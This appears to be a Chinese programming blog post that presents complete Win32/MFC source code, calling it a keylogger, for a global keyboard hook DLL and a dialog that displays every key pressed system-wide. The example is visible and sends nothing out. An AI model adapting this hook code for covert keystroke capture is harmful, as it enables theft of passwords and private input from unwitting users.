键盘记录器-------HOOK的应用举例

KeyHookApp.cpp

 1 ////////////////////////////////////////////////

 2 // KeyHookApp.cpp文件

 3 

 4 #include "resource.h"

 5 #include "KeyHookApp.h"

 6 #include "../09KeyHookLib/KeyHookLib.h"

 7 

 8 #pragma comment(lib, "09KeyHookLib")

 9 

10 CMyApp theApp;

11 

12 BOOL CMyApp::InitInstance()

13 {

14     CMainDialog dlg;

15     m_pMainWnd = &dlg;

16     dlg.DoModal();

17     return FALSE;

18 }

19 

20 CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)

21 {

22 }

23 

24 BEGIN_MESSAGE_MAP(CMainDialog, CDialog)

25 ON_MESSAGE(HM_KEY, OnHookKey)

26 END_MESSAGE_MAP()

27 

28 BOOL CMainDialog::OnInitDialog()

29 {

30     CDialog::OnInitDialog();

31     SetIcon(theApp.LoadIcon(IDI_MAIN), FALSE);

32     ::SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 

33         0, 0, SWP_NOSIZE|SWP_NOREDRAW|SWP_NOMOVE);

34 

35     // 安装钩子

36     if(!SetKeyHook(TRUE, 0, m_hWnd))

37         MessageBox("安装钩子失败！");

38 

39     return TRUE;

40 }

41 

42 

43 void CMainDialog::OnCancel()

44 {

45     // 卸载钩子

46     SetKeyHook(FALSE);

47     CDialog::OnCancel();

48     return;

49 }

50 

51 long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)

52 {

53     // 此时参数wParam为用户按键的虚拟键码，

54     // lParam参数包含按键的重复次数、扫描码、前一个按键状态等信息

55 

56     char szKey[80];

57     ::GetKeyNameText(lParam, szKey, 80);

58 

59     CString strItem;

60     strItem.Format(" 用户按键：%s \r\n", szKey);

61     // 添加到编辑框中

62     CString strEdit;

63     GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);

64     GetDlgItem(IDC_KEYMSG)->SetWindowText(strItem + strEdit);

65 

66     ::MessageBeep(MB_OK);

67     return 0;

68 }

MainDir.h文件

 1 ///////////////////////////////////////////

 2 // MainDir.h文件    // 07MainDir

 3 

 4 #include <afxwin.h>    

 5 

 6 

 7 class CMyApp : public CWinApp

 8 {

 9 public:

10     BOOL InitInstance();

11 };

12 

13 class CMainDialog : public CDialog

14 {

15 public:

16     CMainDialog(CWnd* pParentWnd = NULL);

17 

18 protected:

19     virtual BOOL OnInitDialog();

20     virtual void OnCancel();

21 

22     afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);

23 

24     DECLARE_MESSAGE_MAP()

25 };

resource.h

 1 //{{NO_DEPENDENCIES}}

 2 // Microsoft Developer Studio generated include file.

 3 // Used by KeyHookApp.rc

 4 //

 5 #define IDD_MAIN                        101

 6 #define IDI_MAIN                        103

 7 #define IDC_KEYMSG                      1000

 8 

 9 // Next default values for new objects

10 // 

11 #ifdef APSTUDIO_INVOKED

12 #ifndef APSTUDIO_READONLY_SYMBOLS

13 #define _APS_NEXT_RESOURCE_VALUE        104

14 #define _APS_NEXT_COMMAND_VALUE         40001

15 #define _APS_NEXT_CONTROL_VALUE         1001

16 #define _APS_NEXT_SYMED_VALUE           101

17 #endif

18 #endif

上面是app工程中包含的代码

 

下面是dll对应的代码

KeyHookLib.cpp文件

 1 ////////////////////////////////////////////////

 2 // KeyHookLib.cpp文件

 3 

 4 #include <windows.h>

 5 

 6 #define KEYHOOKLIB_EXPORTS

 7 #include "KeyHookLib.h"

 8 

 9 

10 // 共享数据段

11 #pragma data_seg("YCIShared")

12 HWND g_hWndCaller = NULL;    // 保存主窗口句柄

13 HHOOK g_hHook = NULL;        // 保存钩子句柄

14 #pragma data_seg()

15 

16 // 一个通过内存地址取得模块句柄的帮助函数

17 HMODULE WINAPI ModuleFromAddress(PVOID pv) 

18 {

19     MEMORY_BASIC_INFORMATION mbi;

20     if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)

21     {

22         return (HMODULE)mbi.AllocationBase;

23     }

24     else

25     {

26         return NULL;

27     }

28 }

29 

30 // 键盘钩子函数

31 LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)

32 {

33         if(nCode < 0 || nCode == HC_NOREMOVE)

34         return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);

35     

36         if(lParam & 0x40000000)    // 消息重复就交给下一个hook链

37     {

38         return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);

39     }

40     

41     // 通知主窗口。wParam参数为虚拟键码, lParam参数包含了此键的信息

42         ::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam);

43     

44         return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);

45 }

46 

47 // 安装、卸载钩子的函数

48 BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)

49 {

50     BOOL bOk;

51     g_hWndCaller = hWndCaller;

52     

53     if(bInstall)

54     {

55         g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, 

56                     ModuleFromAddress(KeyHookProc), dwThreadId);

57         bOk = (g_hHook != NULL);

58     } 

59     else 

60     {

61         bOk = ::UnhookWindowsHookEx(g_hHook);

62         g_hHook = NULL;

63     }

64     

65     return bOk;

66 }

KeyHookLib.h文件

 1 ///////////////////////////////////////////

 2 // KeyHookLib.h文件

 3 

 4 // 定义函数修饰宏，方便引用本DLL工程的导出函数

 5 #ifdef KEYHOOKLIB_EXPORTS

 6 #define KEYHOOKLIB_API __declspec(dllexport)

 7 #else

 8 #define KEYHOOKLIB_API __declspec(dllimport)

 9 #endif

10 

11 // 自定义与主程序通信的消息

12 #define HM_KEY WM_USER + 101

13 

14 // 声明要导出的函数

15 BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall, 

16                       DWORD dwThreadId = 0, HWND hWndCaller = NULL);

同时应还包含***.def文件